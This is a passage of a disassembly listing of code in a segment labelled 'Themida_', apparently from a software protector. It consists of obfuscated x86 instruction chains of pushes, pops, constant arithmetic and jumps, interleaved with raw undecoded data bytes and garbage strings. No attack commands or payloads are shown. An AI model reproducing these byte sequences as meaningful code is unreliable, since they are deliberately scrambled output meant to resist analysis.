		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A28F:				; CODE XREF: Themida_:00546F51j
		pop	ebp
		push	edx
		mov	edx, esp
		jmp	loc_54EC58
; ---------------------------------------------------------------------------


loc_54A298:				; CODE XREF: Themida_:005513BDj
		pop	ebp
		push	ebp
		mov	ebp, 7E1E5817h
		add	ebp, 0F93123Dh
		inc	ebp
		shr	ebp, 7
		jmp	loc_54E2C9
; ---------------------------------------------------------------------------


loc_54A2AE:				; CODE XREF: Themida_:0054A949j
		mov	esi, 0B1969CCh
		push	edi
		mov	edi, esi
		mov	edx, edi
		pop	edi
		pop	esi
		sub	ebp, edx
		pop	edx
		sub	ebp, 6E753369h
		xor	ebx, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54E749
; ---------------------------------------------------------------------------
		db 0B8h, 75h, 6Fh
		dd 540312Fh, 4A1C9ACCh,	0F758C601h, 0C6C681D6h,	0B8EAFBA5h
		dd 4E6869FDh, 93E9F031h, 5500004Ch, 4BDh, 5DE92900h, 109E9h
		dd 0C875F00h, 24248B24h, 243CD366h, 0BEF0E99Ch,	8B66FFFFh
		dd 0F0E9240Ch
		db 57h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A323:				; CODE XREF: Themida_:00547841j
		add	edi, 720D3CFAh
		jmp	loc_551A17
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 4E5BEA81h, 2C8B01A3h, 4C48324h, 8904EC83h, 4BE2434h
		dd 0E9000000h, 0FFFFC95Ah, 0E924248Bh, 56BAh
; ---------------------------------------------------------------------------


loc_54A354:				; CODE XREF: Themida_:00552197j
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		jmp	loc_552621
; ---------------------------------------------------------------------------
		db 81h
		dd 0FFFFFFEEh, 6AF681FFh, 816A4A2Fh, 9FD0AFC6h,	5EF70181h
		dd 4B850h, 0C7010000h, 243C3358h, 33243C31h, 248B243Ch
		dd 0BE78E924h, 0BF57FFFFh, 4, 2827E9h, 4EC8100h, 0E9000000h
		dd 121Bh, 46B35351h, 0F60CF380h, 0BC380D3h, 0EB6FE952h
		dd 5066FFFFh, 0C328F1B0h, 24048B66h, 0F02C483h,	8F66C0B6h
		dd 37E98704h, 50FFFFBEh, 0BE30E99Ch, 2BE9FFFFh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A3DF:				; CODE XREF: Themida_:0054FEE2j
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_548C2B
; ---------------------------------------------------------------------------


loc_54A3F0:				; CODE XREF: Themida_:0054EC9Cj
		add	ebp, 4
		jmp	loc_54BF8A
; ---------------------------------------------------------------------------
		db 89h
		dd 0FFBF243Ch, 89225D01h, 0DF015FFBh, 3E7C15Bh,	233EE956h
		dd 0C870000h, 14895C24h, 9E95424h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A41F:				; CODE XREF: Themida_:0054995Cj
		add	ecx, ebx
		pop	ebx
		jmp	loc_54776C
; ---------------------------------------------------------------------------


loc_54A427:				; CODE XREF: Themida_:0054C74Bj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54E075
; ---------------------------------------------------------------------------
aBiYsv		db '±BˆÊYéV%',0
		align 4


loc_54A43C:				; CODE XREF: Themida_:00551980j
		add	edx, 17871FAFh
		push	ebx
		jmp	loc_55276B
; ---------------------------------------------------------------------------


loc_54A448:				; CODE XREF: Themida_:0054CFD2j
		neg	dword ptr [esp]
		jmp	loc_5516FD
; ---------------------------------------------------------------------------
		dd 6312BD55h, 0E5C104A2h, 0EDBF5704h, 91DE64Fh,	0C5815FFDh
		dd 6F322A39h, 4968454Dh, 0E9000074h, 6CD9h, 0F5B6E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A47A:				; CODE XREF: Themida_:00549C62j
		pop	ebp
		jmp	loc_54A5AE
; ---------------------------------------------------------------------------
		dd 57241489h, 0FD0BA0BFh, 0CB56E93Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A48E:				; CODE XREF: Themida_:0054F6A7j
		add	esp, 4
		sub	bl, 0B6h
		sub	bl, al
		push	edx
		mov	dh, 0C7h
		shl	dh, 3
		jmp	loc_55147A
; ---------------------------------------------------------------------------
		db 5Dh,	8Bh, 4
		dd 4C48324h, 31241433h,	14332414h, 24248B24h, 5C95E9h
		dd 243C3100h, 8B243C33h, 0FE92424h
		db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A4C7:				; CODE XREF: Themida_:005494BBj
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_546E19
; ---------------------------------------------------------------------------


loc_54A4F6:				; CODE XREF: Themida_:005497ADj
		sub	bl, 72h
		add	bl, dl
		add	bl, 72h
		sub	bl, 0CAh
		jmp	loc_550621
; ---------------------------------------------------------------------------
aIxsu		db '‰åéî{',0
		db 0
; ---------------------------------------------------------------------------


loc_54A50D:				; CODE XREF: Themida_:005512A2j
		add	ebx, 1290329Ch
		add	ebx, eax
		jmp	loc_54FD29
; ---------------------------------------------------------------------------


loc_54A51A:				; CODE XREF: Themida_:0054E80Aj
		sub	edi, eax
		pop	eax
		jmp	loc_54C3EF
; ---------------------------------------------------------------------------


loc_54A522:				; CODE XREF: Themida_:0054E409j
		pop	ecx
		and	eax, ecx
		push	dword ptr [esp]
		jmp	loc_54F06E
; ---------------------------------------------------------------------------


loc_54A52D:				; CODE XREF: Themida_:0054EB26j
		xor	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 55847B86h
		push	ebp
		mov	ebp, 238550ADh
		shl	ebp, 3
		jmp	loc_547B52
; ---------------------------------------------------------------------------
		db 1
aS_6		db 'ÓéÒ-',0
		align 2
		dw 568h
		dd 0E900007Dh, 0FFFFC232h, 5C241C87h, 426268h, 24148900h
		dd 0DB08E953h, 8B66FFFFh, 30682404h, 89000024h,	0D8E9240Ch
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A57B:				; CODE XREF: Themida_:005500AFj
		sub	dword ptr [esp], 13C60DFAh
		jmp	loc_548B0A
; ---------------------------------------------------------------------------


loc_54A587:				; CODE XREF: Themida_:0054E820j
		xor	ecx, 2878420Dh
		push	edi
		mov	edi, ecx
		mov	esi, edi
		pop	edi
		jmp	loc_54E26E
; ---------------------------------------------------------------------------
		dd 52F26858h, 0C4E90000h, 81FFFFC2h, 1C52C7C9h,	0C3BFE91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54A5AE:				; CODE XREF: Themida_:0054A47Bj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_54EFBE
; ---------------------------------------------------------------------------
aPUiSqw		db 'P°uˆÅéïW',0
		dw 0BB00h
		dd 47EC09E1h, 0FFEB9FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A5D1:				; CODE XREF: Themida_:005465D7j
		mov	ch, 25h
		add	bh, ch
		pop	cx
		sub	bh, 1Fh
		mov	ah, bh
		pop	ebx
		add	cl, 34h
		sub	cl, ah
		sub	cl, 34h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55128A
; ---------------------------------------------------------------------------
		dd 0E904C483h, 42E0h, 8359C829h, 48904ECh, 0C46E924h, 0F5810000h
		dd 74536350h, 7054F581h, 814D0B64h, 2E37FEDh, 8BEA017Bh
		dd 49E9242Ch
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A623:				; CODE XREF: Themida_:0054C573j
		add	edi, 4
		push	edi
		jmp	loc_54D6C7
; ---------------------------------------------------------------------------
		db 1
		dd 0F0015BDEh, 8124348Bh, 4C4h,	177DE900h, 0F7010000h
		dd 2282EF81h, 0EF8173E8h, 62FD5470h, 243C335Eh,	0E9243C31h
		dd 0FFFFD8B7h, 19040B2Ch, 81E28952h, 4C2h, 4BD5500h, 0E9000000h
		dd 0C91h
; ---------------------------------------------------------------------------


loc_54A674:				; CODE XREF: Themida_:0054D349j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		add	dword ptr [esp], 15E461DDh
		sub	dword ptr [esp], 76D35F8Dh
		jmp	loc_551E53
; ---------------------------------------------------------------------------
		dd 8324348Bh, 685204C4h, 55B2h,	83242489h, 5A042404h, 0FFCEA2E9h
		dd 0CBE980FFh, 42E9CE28h, 29FFFFD4h, 36FAE9DFh,	0B8500000h
		dd 0
		dd 9560D32Dh, 50D80169h, 0A3E9E089h, 89000003h,	0E3C158C3h
		dd 3FEB8108h, 2D8DB7D0h, 6AB22136h, 3FE9D801h, 68000057h
		dd 195A1423h, 2CCB815Bh, 0E9310812h, 2495h, 1C8B2C04h
		dd 0E8BDE924h, 6ABBFFFFh, 0F7648A59h, 0C38143DBh, 648A596Dh
		dd 86E9DE01h, 5E000055h, 94C5C781h, 0FB018800h,	0FFD0D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54A725:				; CODE XREF: Themida_:00547E0Ej
		pop	ecx
		neg	edi
		xor	edi, 4DA4245Dh
		sub	eax, 0B6F6E94h
		sub	eax, edi
		add	eax, 0B6F6E94h
		pop	edi
		push	1FA1h
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_54868E
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8BE92404h, 66000033h, 66536647h, 661149BBh, 5B66DF01h
		dd 5FFA8966h, 66DAF766h, 6657DAF7h, 661B93BFh, 51CFCF81h
		dd 0EDE78166h, 6647667Ch, 5A8EF81h, 646DE9h, 4C48100h
		dd 0C0000000h, 0EDC006E5h, 0BCC58007h, 1686E9h,	4EC8300h
		dd 0E9240489h, 7E91h
; ---------------------------------------------------------------------------


loc_54A7A4:				; CODE XREF: Themida_:005484CEj
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_546925
; ---------------------------------------------------------------------------
		db 0E9h, 54h, 0BAh
		dd 0D830FFFFh, 5115045Bh, 0FFFDFCE9h, 2CF781FFh, 531C521Dh
		dd 0FD85BA52h, 0D389F671h, 0B6B8505Ah, 0E90A4B6Ch, 4537h
		dd 207F83ADh, 8C840F00h, 81FFFFCDh, 8B5942C6h, 81C6812Bh
		dd 8159A632h, 1620C8EEh, 81C60159h, 1620C8C6h, 4EC8159h
		dd 89000000h, 8FBA2414h, 0E930D664h, 676Ch, 7D29CE81h
		dd 0C6811B2Fh, 10A5F094h, 348BF229h, 4C48324h, 0BF57C201h
		dd 2AC11E86h, 51B9C781h, 0D6E90114h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A83B:				; CODE XREF: Themida_:0054FB7Dj
		push	eax
		jmp	loc_54A1E5
; ---------------------------------------------------------------------------
		db 4Dh,	81h, 0C5h
		dd 0F61EF8D9h, 4246C81h, 45504ED0h, 4246C01h, 4244481h
		dd 45504ED0h, 0FFF894E9h, 55854FFh, 4, 0FFC59EE9h, 241C8BFFh
		db 83h,	0C4h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54D759
; ---------------------------------------------------------------------------
		db 0BEh, 75h, 44h
		dd 0D6F74186h, 222ACE81h, 81464B32h, 41956E6h, 0EE814648h
		dd 480018FFh, 7111DC05h, 2DF00108h, 87111DCh, 0E924348Bh
		dd 0FFFFFD40h
; ---------------------------------------------------------------------------


loc_54A8B0:				; CODE XREF: Themida_:0055225Aj
		pop	eax
		push	edx
		push	esi
		mov	esi, 4B0D49DFh
		push	ebx
		jmp	loc_546F56
; ---------------------------------------------------------------------------
aRsx7		db 'RéX7',0
		align 4
		dd 81BA6652h, 0EAC16611h, 0EA816606h, 81660001h, 662F4BEAh
		dd 2F08C281h, 0FFC3E3E9h, 1CF766FFh, 1FE99C24h,	0BAFFFFB9h
		dd 4, 15AD089h,	7A4E9C3h, 18B00000h, 81E18951h,	4C1h, 4E98300h
		dd 5C240C87h, 0E9241489h, 3B64h
; ---------------------------------------------------------------------------


loc_54A914:				; CODE XREF: Themida_:0054DED7j
		add	esp, 4
		jmp	loc_54E68B
; ---------------------------------------------------------------------------
		dd 4C681h, 0EEE90000h, 41000057h, 7DFDC181h, 0E1812E24h
		dd 34E362BDh, 4C34F181h, 0E0E97666h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54A93F:				; CODE XREF: Themida_:00546C25j
		sub	esp, 4
		mov	[esp], edx
		push	esi
		jmp	loc_54A2AE
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 458B0C43h, 5559C809h, 8E2D12BDh, 0D1D5F729h,	74A6E9EDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54A966:				; CODE XREF: Themida_:005491D0j
		mov	[esp], eax
		push	ecx
		mov	cl, 0B1h
		mov	al, cl
		jmp	loc_55061B
; ---------------------------------------------------------------------------
		db 66h
		dd 5324048Bh, 241C8B54h, 8104C483h, 4C3h, 32E56800h, 34890000h
		dd 0E1B95124h, 51704A65h, 874BD1B9h, 2E1C145h, 4102E9C1h
		dd 0B1B1E981h, 0CE8975D1h, 6594E9h, 24048100h, 513003C6h
		dd 0A242C81h, 0E951D10Fh, 0FFFFB84Ah, 0C381E389h, 4, 8704C383h
		dd 815C241Ch, 4C4h, 6172E900h, 0C7810000h, 4, 1694E9h
		db 0
; ---------------------------------------------------------------------------


loc_54A9E5:				; CODE XREF: Themida_:0054F8E7j
		mov	esp, [esp]
		jmp	loc_5506BD
; ---------------------------------------------------------------------------
		db 68h,	0DBh, 13h
		dd 1C890000h, 81E38924h, 4C3h, 2039E900h, 5D540000h, 4C581h
		dd 0C5810000h, 4, 0E9242C87h, 3D9Ah, 1B34D968h,	0E7C15F10h
		dd 1CA3E906h, 0EB280000h, 57C30059h, 57FBE9h, 6E3C100h
		dd 0E0F3814Bh, 0D166310Ah, 6BF381EBh, 15B1714h,	0EC815BDEh
		dd 4, 51240489h, 2B9h, 2C815100h, 0C057B024h, 0B0055843h
		dd 5943C057h, 8758C601h, 248B2434h, 5899E924h, 4050000h
		dd 83000000h, 48704E8h,	34895C24h, 22BA5224h, 0BE766E49h
		dd 0F32717B1h, 0FFE0D5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_54AA91:				; CODE XREF: Themida_:0054AE92j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		push	eax
		push	ecx
		mov	ch, dl
		mov	al, ch
		mov	ecx, [esp]
		add	esp, 4
		mov	bl, al
		pop	eax
		mov	cl, bl
		pop	ebx
		push	640Fh
		jmp	loc_547B0F
; ---------------------------------------------------------------------------
		dw 4C88h
		dd 0C8B0187h, 4C48324h,	0FFB741E9h, 59F781FFh, 892AC169h
		dd 0F3295FFEh, 4EC815Eh, 89000000h, 0B6E9241Ch
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AAE3:				; CODE XREF: Themida_:0054C346j
		mov	ebx, 63415FE7h
		shr	ebx, 3
		jmp	loc_54AFD7
; ---------------------------------------------------------------------------
		dd 13E99C50h, 81FFFFB7h, 6FF65DC6h, 0E9E6D1A6h,	2338h
		dd 0E95EF529h, 4E89h, 0BFC0E958h, 0BE56FFFFh, 5382527Fh
		dd 618EEB9h, 5EF13109h,	6C1BF181h, 0E9811B9Dh, 28DE3830h
		dd 0FFEA3DE9h, 0C2815CFFh, 35530EDh, 0B1E9C201h
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AB3F:				; CODE XREF: Themida_:0054D11Bj
		inc	edi
		shr	edi, 2
		not	edi
		push	ecx
		jmp	loc_5516A3
; ---------------------------------------------------------------------------


loc_54AB4B:				; CODE XREF: Themida_:0054CABDj
		inc	dl
		push	cx
		mov	cl, 0DDh
		jmp	loc_551FE2
; ---------------------------------------------------------------------------
		dw 1489h
		dd 80EDB624h, 842C0CEEh, 8404F000h, 0B151535Ah,	22B79Ah
		dd 0BF27E9CFh, 93E9FFFFh, 81FFFFB6h, 0AD4995C6h, 8BF031F6h
		dd 0C4812434h, 4, 5DE9C589h, 58000060h,	500F2105h, 44015F52h
		dd 9DE90424h
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AB9F:				; CODE XREF: Themida_:0054F42Dj
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 5DB7189Fh
		not	eax
		sub	eax, 0A248E75Ch
		jmp	loc_54B7AA
; ---------------------------------------------------------------------------


loc_54ABB9:				; CODE XREF: Themida_:005473C9j
		add	ebp, 4
		jmp	loc_54CD79
; ---------------------------------------------------------------------------
		dd 27DF68h, 263AE900h, 1590000h, 5B4605D8h, 0BD5501AEh
		dd 59711D6Ch, 0F2711805h, 18B7E972h, 0FEB80000h, 21000000h
		dd 34FF1C47h, 2434FF24h, 3EE95158h, 81FFFFC7h, 42404h
		dd 48F0000h, 0DC70E924h, 0D2F7FFFFh, 8104EAC1h,	0C53467E2h
		dd 0DC28127h, 0E9146203h, 4B84h
; ---------------------------------------------------------------------------


loc_54AC20:				; CODE XREF: Themida_:005489F6j
		push	esi
		mov	esi, 1C82739Ah
		mov	ecx, 55E1646Bh
		jmp	loc_54FCFD
; ---------------------------------------------------------------------------
		dd 27E9EE01h, 59000012h, 0BAE9DE89h, 5300004Dh,	8904EC83h
		dd 0D8682434h, 5E75806Bh, 5E82EE81h, 0DEF74059h, 1435C681h
		dd 0EE8147BFh, 129806DDh, 1487E9h, 0F4E95800h, 5F00000Dh
		dd 2CE7E9h, 48B6600h, 5B716824h, 0F3E90000h, 0F7FFFFB8h
		dd 88E94ED6h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AC87:				; CODE XREF: Themida_:0054CBB5j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54B337
; ---------------------------------------------------------------------------
		db 30h,	0C3h, 0Fh
aHna		db '¶ÀhNa',0
		dw 8900h
		dd 0EC83242Ch, 24248904h, 4240481h, 5D000000h, 5058B850h
		dd 0B95153DDh, 31F355F1h, 4DA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_54ACC1:				; CODE XREF: Themida_:0054E57Aj
		pop	esp
		or	edx, eax
		jmp	loc_54CCB3
; ---------------------------------------------------------------------------
		db 0C0h, 0EDh, 6
		dd 309FF580h, 0E78059EFh, 0E9CFFE40h, 67BFh, 4C281h, 0C2830000h
		dd 4F53E904h, 0C3810000h, 4, 4EC81h, 1C890000h,	2474FF24h
		dd 241C8B04h, 4C481h, 0CAE90000h, 8100004Dh, 4C4h, 7B14E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AD16:				; CODE XREF: Themida_:0054EC07j
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_54D478
; ---------------------------------------------------------------------------
		dd 5B46B951h, 0F1815A67h, 78E50158h, 80E9C801h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AD37:				; CODE XREF: Themida_:0054876Cj
		push	ebx
		mov	ebx, 25BA559Bh
		push	esi
		mov	esi, 458950C9h
		xor	ebx, esi
		jmp	loc_54917A
; ---------------------------------------------------------------------------
		dw 0EE80h
		dd 28280424h, 8B282CF0h, 3FE92414h, 2C000027h, 0C658E94Eh
		dd 2CACFFFFh, 66D828A5h, 663AC168h, 0B3241C89h,	66D800A5h
		dd 68241C8Bh, 6D01h, 0E9243C89h, 0FFFFD216h, 4C4815Ch
		dd 0D3000000h, 77E92424h, 89FFFFB4h, 242C8BEEh,	104C483h
		dd 24348BF7h, 4C481h, 3C330000h, 243C3124h, 0FFBC35E9h
		dd 4BBFFh, 0D9890000h, 0BDA5E95Bh, 8B66FFFFh, 0B0E9240Ch
		dd 0FF000042h, 48B2434h, 4C48124h, 51000000h, 1021E9h
		dd 4EC8100h, 0E9000000h, 6A3Eh
; ---------------------------------------------------------------------------


loc_54ADE4:				; CODE XREF: Themida_:0054B036j
		pop	esp
		sub	ebx, 612D7A99h
		add	ebx, 0AF66089h
		jmp	loc_54C77F
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2B026824h, 4890000h,	242C8124h, 7D3D68EEh, 5A2434FFh
		dd 83E78957h, 48904ECh,	4B824h,	0C7810000h, 8BA4017h, 0EF81C701h
		dd 8BA4017h, 0A3E95058h, 0FF00006Dh, 5D042474h,	0E924048Fh
		dd 0FFFFD3B2h, 9EF9055Bh, 79E913B2h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54AE47:				; CODE XREF: Themida_:005485F6j
		mov	edx, 4A2934A7h
		sub	edx, 0FF3C3242h
		sub	ebp, edx
		jmp	loc_54ECB2
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 0FFh
		dd 55F81BFFh, 0AB243481h, 8F6AAF0Ah, 68532447h,	41C1h
		dd 0E9241489h, 3167h, 0B60F6664h, 0E9545102h, 0FFFFDB8Ah
; ---------------------------------------------------------------------------


loc_54AE84:				; CODE XREF: Themida_:005486CBj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_54AA91
; ---------------------------------------------------------------------------
		db 0FFh
		dd 565F2434h, 0C681E689h, 4, 4EE81h, 34870000h,	1C895C24h
		dd 3ADBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AEB6:				; CODE XREF: Themida_:0054C76Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		push	edi
		push	ebp
		push	ebx
		mov	ebx, 31C13808h
		xor	ebx, 7B811E44h
		sub	ebx, 4A3FE64Ch
		mov	ebp, ebx
		jmp	loc_552196
; ---------------------------------------------------------------------------


loc_54AEEB:				; CODE XREF: Themida_:005506D9j
		mov	ebx, 0A2A8A8E4h
		sub	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, ebx
		jmp	loc_55258C
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4FE65105h, 0DAF7DAF7h, 0D64CA81h, 0C9E9419Fh, 100001Eh
		dd 1BF4E9C1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54AF1E:				; CODE XREF: Themida_:0054CBA9j
		push	dword ptr [esp]
		jmp	loc_548D6C
; ---------------------------------------------------------------------------
		dw 0EF68h
		dd 8900003Fh, 4BA2414h,	2D000000h, 5E297007h, 3314E9h
		dd 81D2F700h, 90346FC2h, 1BA3E9FEh, 0E95D0000h,	0FFFFBED5h
		dd 32B3C781h, 0F7595118h, 1DF781D7h, 81D32BC7h,	0B936D1EBh
		dd 0E9FB296Dh, 1A9Ch, 24048B66h, 0E0895050h, 7046E9h, 0E9C14900h
		dd 7DF18108h, 89005D7Eh, 0C60159C8h, 8124048Bh,	4C4h, 4C68100h
		dd 56000000h, 4E02E9h, 7C606800h, 4890000h
		db 24h,	89h, 0E0h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54E80F
; ---------------------------------------------------------------------------
		db 1
		dd 232D5BD8h, 5E184522h, 8B240487h, 3E92424h, 54FFFFD2h
		dd 4FE9515Bh
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54AFD7:				; CODE XREF: Themida_:0054AAEBj
		sub	ebx, 7E7A4BFBh
		push	esi
		mov	esi, 16F90ADAh
		neg	esi
		xor	esi, 3F8A20AAh
		sub	esi, 19FE55E6h
		jmp	loc_54DB3F
; ---------------------------------------------------------------------------
		dw 0D601h
		dd 487DB951h, 0E9D10AA5h, 677BE981h, 0CE018867h, 827E9h
		dd 4C48300h, 81E68956h,	4C6h, 4FCAE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B01E:				; CODE XREF: Themida_:0054D697j
		sub	edi, 759618E1h
		add	edi, eax
		add	edi, 759618E1h
		pop	eax
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_54ADE4
; ---------------------------------------------------------------------------
		db 83h
		dd 0C38104C4h, 1BA87ED6h, 0A5E9D301h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B04B:				; CODE XREF: Themida_:0054C374j
		xchg	eax, ecx
		xor	ecx, 730469ECh
		jmp	loc_547E0C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 62B95104h, 926E404h, 0F58159CDh,	67FE0466h
		dd 0A1E9EF01h, 0B0FFFFC1h, 0E9DD34C2h, 2CD8h
; ---------------------------------------------------------------------------


loc_54B07C:				; CODE XREF: Themida_:0054B50Dj
		sub	eax, 76C9268Ch
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55240E
; ---------------------------------------------------------------------------
		dw 8758h
		dd 248B241Ch, 21E56824h, 0DE90000h, 68FFFFBCh, 3D0C2DF4h
		dd 4AF5815Dh, 51133A02h, 120AF0B9h, 90C18172h, 0D171E32Eh
		dd 81D1F7E1h, 5E15ABE9h, 0C5E9813Ah, 1EBBF5Eh, 0C6A6E9CDh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54B0DE:				; CODE XREF: Themida_:0054CD07j
		mov	dh, ah
		pop	eax
		jmp	loc_54D26C
; ---------------------------------------------------------------------------
		dw 0EA29h
		dd 3D16EA81h, 2C8B45D4h, 402B6824h, 34890000h, 0E9E68924h
		dd 176Eh, 3E6801B8h, 8BC83147h,	0C481240Ch, 4, 52E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B115:				; CODE XREF: Themida_:0054C3F1j
		pop	edi
		shr	ebp, 4
		jmp	loc_55260D
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 42FBF24h, 6E90C8Bh, 66FFFFE1h, 68240C8Bh, 1ABEh, 89240C89h
		dd 32BE56E1h, 8141AB44h, 0AB442EEEh, 5EF10141h,	19BA5257h
		dd 0C1453A6Ch, 0D2F707EAh, 0BCBB5342h, 0E900E556h, 6F94h
		dd 0BCEB815Fh, 899487B5h, 0C5815BDAh, 0E851E27h, 0ED81D501h
		dd 0E851E27h, 6E0F685Ah, 2C890000h, 0FCA9E924h,	8B66FFFFh
		dd 19682414h, 89000039h, 0E389241Ch, 4BF57h, 0FB010000h
		dd 4EC815Fh, 89000000h,	9D682404h, 5813BB49h, 0CFF5048h
		dd 35485824h, 322C3853h, 0D7E9D8F7h, 66000059h,	66240C89h
		dd 66C8B60Fh, 3BE99C51h, 54FFFFB0h, 5724148Bh, 0C781E789h
		dd 4, 8704C783h, 815C243Ch, 4C2h, 2B85000h, 81000000h
		dd 0FE7BB2EAh, 55C20163h, 115A94BDh, 0DBC58167h, 813E3135h
		dd 6C60ABC5h, 6E5C16Fh,	6686E9h, 0CEE95A00h
		db 56h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54B217:				; CODE XREF: Themida_:0054CC81j
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_550462
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 59545158h, 6F8168h, 241C8900h, 0E40B08BBh
		dd 0F3814B26h, 65C53706h, 0E9D3F74Bh, 0B46h, 7AE95854h
		dd 68FFFFB6h, 4, 8BC68958h, 0C4812404h,	4, 98E9F101h, 83FFFFE4h
		dd 343304C4h, 24343124h, 8B243433h, 9FE92424h, 0FF000050h
		dd 34FF2434h, 0C4835A24h, 0E7895704h, 4C781h, 0EF830000h
		dd 243C8704h, 0FFB193E9h, 0C18159FFh, 4, 83BE5653h, 460B932Fh
		dd 70B8CE81h, 0F7564881h, 0F75E2414h, 70E681DEh, 81320F27h
		dd 32732F6h, 5EF38902h,	835BD929h, 48904ECh, 5E08924h
		dd 4, 0A58E9h, 6526BF00h, 0FB290BB4h, 0F9AE95Fh, 1590000h
		dd 24348BF3h, 0E904C483h, 0FFFFB932h, 0BD555854h, 4, 353E9h
		dd 5DEA2900h, 8B241487h, 14892424h, 0E7B05024h,	5366092Ch
		dd 0F80027B7h, 0DF0C5B66h, 5307E8C0h, 0FC9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54B329:				; CODE XREF: Themida_:0054C0AEj
		add	esp, 4
		add	edi, 4
		jmp	loc_5468FF
; ---------------------------------------------------------------------------


loc_54B337:				; CODE XREF: Themida_:0054AC90j
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_54C0DF
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 53E78957h, 4BBh, 0ABC78100h,	15B5262h, 0ABEF81DFh, 5B5B5262h
		dd 5C8D68h, 24148900h, 124250BAh, 0EA814211h, 1112424Dh
		dd 45CAE952h, 0C310000h, 167BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54B37E:				; CODE XREF: Themida_:00546B9Ej
		pop	edx
		sub	ebx, ecx
		jmp	loc_546730
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24248904h, 4240483h,	0E924348Bh, 0FFFFD67Dh,	0E4B80BEh
		dd 52D6875Bh, 5A2414F7h, 5A5E5256h, 0F706E6C1h,	1C6CE9DEh
		dd 68660000h, 89664EC9h, 4BE92404h, 81FFFFAEh, 78D4242Ch
		dd 54E96AB9h, 0ACFFFFCEh, 0B353D830h, 68C3FEFEh, 28ECh
